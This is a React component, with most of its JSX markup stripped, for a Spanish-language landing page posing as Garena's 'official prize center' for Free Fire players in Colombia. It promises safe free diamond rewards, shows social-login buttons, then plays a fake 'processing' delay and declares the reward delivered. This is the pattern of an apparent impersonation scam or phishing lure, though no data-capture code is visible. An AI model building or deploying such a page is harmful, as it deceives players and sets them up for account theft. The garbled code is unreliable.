import { useEffect, useState } from "react"; export default function LandingGarenaStyle() { const [selected, setSelected] = useState(null); const [showModal, setShowModal] = useState(false); const [isProcessing, setIsProcessing] = useState(false); useEffect(() => { let timer: ReturnType | undefined; if (showModal && isProcessing) { timer = setTimeout(() => { setIsProcessing(false); }, 2500); } return () => { if (timer) clearTimeout(timer); }; }, [showModal, isProcessing]); const premios = ["100", "310", "520", "1.050", "1.060", "2.160", "2.180", "5.580", "5.600"]; const handleContinue = () => { if (!selected) return; setIsProcessing(true); setShowModal(true); }; const handleCloseModal = () => { setShowModal(false); setIsProcessing(false); }; return (
Garena

Centro Oficial de Premios

Colombia ES
Free Fire

Tu Landing Page

Premio 100% seguro

Eventos Especiales

FREE FIRE EVENTO LIMITADO

Evento exclusivo Free Fire

Reclama tu recompensa
y elige tu premio favorito

¡LA RULETA DE LA SUERTE REGRESÓ! No olvides iniciar sesión diariamente para recibir un giro GRATIS!

1

Ingresar

O ingresa con una cuenta
f
G
X
vk
2

Monto de recarga

{premios.map((premio, index) => ( ))}
{selected && (
)}
{showModal && (
{isProcessing ? ( <>

Procesando

Estamos verificando y entregando tu recompensa...

) : ( <>

🎉 Felicidades

Su recompensa ha sido entregada

)}
)}
); }